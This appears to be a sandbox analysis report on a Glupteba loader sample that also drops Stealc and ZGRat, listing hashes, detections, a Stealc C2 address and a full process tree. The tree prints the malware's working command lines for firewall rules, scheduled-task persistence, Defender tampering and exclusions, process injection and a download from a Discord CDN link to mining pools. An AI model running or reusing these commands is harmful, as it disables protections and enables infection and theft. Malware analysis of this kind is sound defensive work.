glupteba | 0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5

Analysis

max time kernel
8s
max time network
303s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
03/05/2024, 22:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe
Size 385KB
Sample240503-17y8saaf66
SHA256 0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5
MD5 b59f0459f49865f51804506853f13621
SHA1 0a77ceeb7f01b61593bdf454aab0c06b8417dd4a
SHA512 157bcabcbaadb0e7684a69e21b48f73013a26d77a0cad4d56280c47d1b146fbc820fb2eb55f32b69ad0828755b9cdf3436ed29217fdcd6162841aeeeea26df69
SSDEEP 12288:w/dg/I5WJOtKa7zBTMSw5U+d+zmnmer1cf90oh:4gFJOtJhMf5U+dEer1c1z
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

glupteba stealc zgrat dropper evasion execution loader rat stealer themida upx

Malware Config

Extracted

Family

stealc

http://185.172.128.150

Attributes

url_path
/c698e1bc8a2f5e6d.php

Signatures

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral2/memory/5404-4865-0x0000025457510000-0x000002545AE08000-memory.dmp	family_zgrat_v1
behavioral2/memory/5404-5010-0x0000025475390000-0x00000254753B4000-memory.dmp	family_zgrat_v1
behavioral2/memory/5404-5006-0x0000025475680000-0x0000025475790000-memory.dmp	family_zgrat_v1

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 17 IoCs

resource	yara_rule
behavioral2/memory/3580-1216-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/1996-1221-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/3840-1228-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5044-1229-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5852-3312-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5824-3311-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5884-3313-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5824-3718-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/1140-3890-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/1140-4155-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5884-4373-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5852-4374-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5736-5011-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5736-5133-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5736-5173-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5736-5240-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral2/memory/5736-5299-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba

Stealc
Stealc is an infostealer written in C++.
stealer stealc
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Command and Scripting Interpreter: PowerShell 1 TTPs 33 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1732	powershell.exe
6068	powershell.exe
2388	powershell.exe
6124	powershell.exe
5936	powershell.exe
600	powershell.exe
748	powershell.exe
4764	powershell.exe
1820	powershell.exe
4488	powershell.exe
5196	powershell.exe
1936	powershell.exe
5704	powershell.exe
5540	powershell.exe
4604	powershell.exe
1428	powershell.exe
1204	powershell.exe
5224	powershell.exe
5804	powershell.exe
3420	powershell.exe
6076	powershell.exe
5796	powershell.exe
1676	powershell.exe
1568	powershell.exe
5324	powershell.exe
5688	powershell.EXE
2920	powershell.exe
2724	powershell.exe
5596	powershell.exe
4728	powershell.exe
1360	powershell.exe
6040	powershell.exe
5176	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 4 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5148	netsh.exe
1720	netsh.exe
4628	netsh.exe
4552	netsh.exe

Drops startup file 5 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mVMwLzgvkt7ys3Znmm6J2ORH.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OoAAx1H3X1pQgId1OLVWan43.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZboSpttD8KFbpTKRCGisuGvD.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ogdp1UUgU9XgedIjNZQrUKrF.bat	AddInProcess32.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\84ckMWTo1kLiNp9wf3wQMYxx.bat	AddInProcess32.exe

Executes dropped EXE 4 IoCs

pid	Process
3840	lxw2ug08DmXloQbVPt7Vv66L.exe
1996	7KMWeEFKRWMDyfRbEZM7RMkc.exe
3580	PacQ5t9drWjZb7YRI1ba9WDl.exe
5044	BkpgPqQldjmUzGkM7oXfkjUm.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000800000001ac23-105.dat	themida
behavioral2/memory/5064-139-0x0000000140000000-0x0000000140808000-memory.dmp	themida
behavioral2/memory/5064-2328-0x0000000140000000-0x0000000140808000-memory.dmp	themida

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001ac70-5136.dat	upx
behavioral2/memory/5660-5356-0x0000000000400000-0x00000000008DF000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	pastebin.com
4	pastebin.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
51	ipinfo.io
48	api.myip.com
49	api.myip.com
50	ipinfo.io

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4944 set thread context of 204	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	75

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2260	sc.exe

Creates scheduled task(s) 1 TTPs 20 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
648	schtasks.exe
1044	schtasks.exe
5328	schtasks.exe
3456	schtasks.exe
4568	schtasks.exe
5964	schtasks.exe
2332	schtasks.exe
2360	schtasks.exe
5836	schtasks.exe
2588	schtasks.exe
4064	schtasks.exe
1884	schtasks.exe
5176	schtasks.exe
4584	schtasks.exe
3528	schtasks.exe
1676	schtasks.exe
4244	schtasks.exe
4996	schtasks.exe
5192	schtasks.exe
4996	schtasks.exe

GoLang User-Agent 2 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	152	Go-http-client/1.1
HTTP User-Agent header	153	Go-http-client/1.1

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	204	AddInProcess32.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 4944 wrote to memory of 204	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	75
PID 4944 wrote to memory of 204	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	75
PID 4944 wrote to memory of 204	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	75
PID 4944 wrote to memory of 204	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	75
PID 4944 wrote to memory of 204	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	75
PID 4944 wrote to memory of 204	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	75
PID 4944 wrote to memory of 204	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	75
PID 4944 wrote to memory of 204	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	75
PID 4944 wrote to memory of 5084	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	76
PID 4944 wrote to memory of 5084	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	76
PID 4944 wrote to memory of 5084	4944	0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe	76
PID 204 wrote to memory of 3840	204	AddInProcess32.exe	79
PID 204 wrote to memory of 3840	204	AddInProcess32.exe	79
PID 204 wrote to memory of 3840	204	AddInProcess32.exe	79
PID 204 wrote to memory of 1996	204	AddInProcess32.exe	80
PID 204 wrote to memory of 1996	204	AddInProcess32.exe	80
PID 204 wrote to memory of 1996	204	AddInProcess32.exe	80
PID 204 wrote to memory of 3580	204	AddInProcess32.exe	81
PID 204 wrote to memory of 3580	204	AddInProcess32.exe	81
PID 204 wrote to memory of 3580	204	AddInProcess32.exe	81
PID 204 wrote to memory of 5044	204	AddInProcess32.exe	82
PID 204 wrote to memory of 5044	204	AddInProcess32.exe	82
PID 204 wrote to memory of 5044	204	AddInProcess32.exe	82

C:\Users\Admin\AppData\Local\Temp\0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe
"C:\Users\Admin\AppData\Local\Temp\0641dba2b3cad704f46c30e7af711f1623fe37759c8e3e5f9fc4fcefffdd8bf5.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
  2⤵
  - Drops startup file
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:204
- - C:\Users\Admin\Pictures\lxw2ug08DmXloQbVPt7Vv66L.exe
    "C:\Users\Admin\Pictures\lxw2ug08DmXloQbVPt7Vv66L.exe"
    3⤵
    - Executes dropped EXE
    PID:3840
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1428
  - - C:\Users\Admin\Pictures\lxw2ug08DmXloQbVPt7Vv66L.exe
      "C:\Users\Admin\Pictures\lxw2ug08DmXloQbVPt7Vv66L.exe"
      4⤵
      PID:5884
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5196
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1708
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:5148
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1936
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2388
- - C:\Users\Admin\Pictures\7KMWeEFKRWMDyfRbEZM7RMkc.exe
    "C:\Users\Admin\Pictures\7KMWeEFKRWMDyfRbEZM7RMkc.exe"
    3⤵
    - Executes dropped EXE
    PID:1996
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:748
  - - C:\Users\Admin\Pictures\7KMWeEFKRWMDyfRbEZM7RMkc.exe
      "C:\Users\Admin\Pictures\7KMWeEFKRWMDyfRbEZM7RMkc.exe"
      4⤵
      PID:5852
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6076
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:768
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:4628
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5796
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3420
- - C:\Users\Admin\Pictures\PacQ5t9drWjZb7YRI1ba9WDl.exe
    "C:\Users\Admin\Pictures\PacQ5t9drWjZb7YRI1ba9WDl.exe"
    3⤵
    - Executes dropped EXE
    PID:3580
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:600
  - - C:\Users\Admin\Pictures\PacQ5t9drWjZb7YRI1ba9WDl.exe
      "C:\Users\Admin\Pictures\PacQ5t9drWjZb7YRI1ba9WDl.exe"
      4⤵
      PID:5824
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6068
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:3400
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1720
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1820
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5704
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:5736
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6124
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:4244
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:5400
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4488
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5540
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:440
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:4568
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        
        PID:4036
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:5952
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:2260
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4604
      - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
        6⤵
        
        PID:5972
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4764
      - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
        6⤵
        
        PID:3616
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5936
      - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
        6⤵
        
        PID:4304
- - C:\Users\Admin\Pictures\BkpgPqQldjmUzGkM7oXfkjUm.exe
    "C:\Users\Admin\Pictures\BkpgPqQldjmUzGkM7oXfkjUm.exe"
    3⤵
    - Executes dropped EXE
    PID:5044
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1732
  - - C:\Users\Admin\Pictures\BkpgPqQldjmUzGkM7oXfkjUm.exe
      "C:\Users\Admin\Pictures\BkpgPqQldjmUzGkM7oXfkjUm.exe"
      4⤵
      PID:1140
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1204
    - - C:\Windows\System32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:4960
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:4552
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5224
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5804
- - C:\Users\Admin\Pictures\Ar4gwXG1M9ieabWUyg6IFnHd.exe
    "C:\Users\Admin\Pictures\Ar4gwXG1M9ieabWUyg6IFnHd.exe"
    3⤵
    PID:5064
- - C:\Users\Admin\Pictures\0ELbzi5p6rzSbYwOuY8EWDGU.exe
    "C:\Users\Admin\Pictures\0ELbzi5p6rzSbYwOuY8EWDGU.exe"
    3⤵
    PID:4988
  - - C:\Users\Admin\AppData\Local\Temp\u3uk.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u3uk.0.exe"
      4⤵
      PID:5448
  - - C:\Users\Admin\AppData\Local\Temp\u3uk.2\run.exe
      "C:\Users\Admin\AppData\Local\Temp\u3uk.2\run.exe"
      4⤵
      PID:5592
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        
        PID:4712
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        6⤵
        
        PID:5036
  - - C:\Users\Admin\AppData\Local\Temp\u3uk.3.exe
      "C:\Users\Admin\AppData\Local\Temp\u3uk.3.exe"
      4⤵
      PID:516
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        
        PID:5404
- - C:\Users\Admin\Pictures\06inWCiSf7n6K8AnK8Z0spBw.exe
    "C:\Users\Admin\Pictures\06inWCiSf7n6K8AnK8Z0spBw.exe"
    3⤵
    PID:5532
  - - C:\Users\Admin\AppData\Local\Temp\7zSF7C.tmp\Install.exe
      .\Install.exe /WkfdidVYT "385118" /S
      4⤵
      PID:212
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        5⤵
        
        PID:5048
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        6⤵
        
        PID:5620
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        7⤵
        
        PID:976
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        8⤵
        
        PID:4348
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        6⤵
        
        PID:5272
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        7⤵
        
        PID:4996
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        8⤵
        
        PID:1740
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        6⤵
        
        PID:4552
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        7⤵
        
        PID:6104
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        8⤵
        
        PID:236
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        6⤵
        
        PID:5140
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        7⤵
        
        PID:5796
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        8⤵
        
        PID:3736
      - C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        6⤵
        
        PID:6124
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        7⤵
        
        PID:4340
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1360
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        9⤵
        
        PID:5892
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        5⤵
        
        PID:3988
      - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        6⤵
        
        PID:5656
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6040
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        8⤵
        
        PID:5364
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 22:20:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSF7C.tmp\Install.exe\" Wt /aTzdidSvwJ 385118 /S" /V1 /F
        5⤵
        Creates scheduled task(s)
        
        PID:4996
    - - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
        5⤵
        
        PID:6104
      - C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn biPxHmULFllsbMgnpt
        6⤵
